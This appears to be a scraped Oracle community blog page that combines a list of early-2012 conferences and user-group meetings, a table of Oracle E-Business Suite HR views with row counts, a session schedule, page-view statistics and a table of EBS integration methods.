Nick Wagner, Distinguished Product Manager, Data Integration

http://events.tdwi.org/events/las-vegas-world-conference-2012/home.aspx

Feb 25-26, 2012 - San Francisco, CA

ISSA CISO Executive Forum

Join Mary Ann Davidson, Chief Security Officer at Oracle, and many more industry thought leaders to explore how to maintain best of breed security for the distributed IT enterprise as perimeter controls and borders dissolve.

https://www.issa.org/ciso/?p=435#2

Feb 27-Mar 2, 2012 – San Francisco, CA

RSA Conference

RSA Conference 2012 attendees will have the opportunity to meet with Oracle Security Solution experts, see live product demos, and more by visiting the Oracle Security Solution Showcase (Booth #2425). Exhibit show floor hours: February 27th, 6:00 p.m. – 8:00 p.m., February 28th, 11:00 a.m. – 6:00 p.m., February 29th, 11:00 a.m. – 6:00 p.m. and March 1, 11:00 a.m. – 3:00 p.m.

http://www.oracle.com/webapps/events/ns/EventsDetail.jsp?p_eventId=139125&src=7259262&src=7259262&Act=10

Feb 28-Mar 1, 2012- Santa Clara, CA

Strata Conference - Making Data Work

Strata Conference is the leading event for the people and technology driving the data revolution. The home of data science, Strata brings together practitioners, researchers, IT leaders and entrepreneurs to discuss big data, Hadoop, analytics, visualization and data markets.

http://strataconf.com/strata2012

Independent Oracle User Group (IOUG) Regional Events:

Feb 14-16, 2012 – Denver, CO

RMOUG (Rocky Mountain OUG) Training Days

RMOUG Training days is one of the largest regional user group conferences in the USA. This is the place to network with local information technology professionals as well as talk to internationally renowned Oracle experts. This year’s schedule includes topics on Oracle Database 11g features, Public Cloud, Oracle Database Appliance, Exadata and Database Security, just to name a few. Visit website for more info.

http://www.rmoug.org/

Feb 14-15, 2012 – Portland, OR and Seattle, WA

Oregon and Southern Washington Oracle Users Group Meeting.

Topics will include Grid Control 12c, Understanding Big Data and Hadoop and Exadata.

http://www.oswoug.org/OSWOUG/Home.html

Feb 23, 2012 –Redwood Shores, CA

NOCOUG (Northern California OUG) Winter Conference

Located at Oracle Headquarters, the Winter Conference will feature 3 tracks, with a keynote on Big Data from VP of Product Management –Mark Townsend. Topics will include Accelerating Oracle Performance, Oracle Database Security, Best Practices for upgrading Oracle Database 11g, and more.

http://www.nocoug.org/index.html

View /Synonym (^)	count(*)	count(distinct person_id)	Interpretation
per_all_people_f (^)	32295	18518	Synonym to real HR table
per_all_people	0	0	Needs EBS session (record inFND_SESSIONS) so it knows what you can see
per_all_people_d	32295	18518	All records but showstranslated text if user settings are applied
per_people	0	0	Needs EBS session, showseffective records based on user's date
per_people_f	32295	18518	EBS security implemented, youonly see records you are allowed to see
per_people_v	0	0	Needs EBS Session, includes alot of display text and is language dependend
per_people_x	18518	18518	EBS security implemented (sameas per_people_f), but limits to only the effective records (WHERE TRUNC(SYSDATE) BETWEEN EFFECTIVE_START_DATE ANDEFFECTIVE_END_DATE)

Wednesday	9:15	Database I/O Performance: Measuring and Planning – Alex Gorbachev, Pythian
	10:45	Parallel Execution in RAC – Riyaj Shamsudeen, OraInternals
	16:00	Making Sense of Big Data – Gwen Shapira, Pythian
Thursday	8:30	Developing and Deploying Extremely Large Databases with Oracle 11gR2 – Daniel Morgan, Morgan’s Library
	9:45	Mining the AWR Repository for Capacity Planning, Visualization, and other Real World Stuff – Karl Arao, Enkitec
	13:30	Using Oracle Execution Plans for Performance Gains – Janis Griffin, Confio Software

AWR / Statspack menu	40,714	Updated from time to time
NOT IN	33,983	Feb 2007
Cartesian Merge Join	29,633	Dec 2006
dbms_xplan in 10g	28,831	Dec 2006
SQL Profiles (10g)	21,227	Feb 2007

AWR / Statspack menu	18,782	Updated from time to time
NOT IN	8,916	Feb 2007
dbms_xplan in 10g	6,212	Dec 2006
Oracle Core	6,181	Dec 2011
Analysing Statspack (1)	5,924	Nov 2006

	Retrieve data from EBS	Update data in EBS
1. Views	X
2. APIs	X	X
3. OITs (Open Interface Tables)		X
4. Webservices (incl. BPEL/SOA)	X	X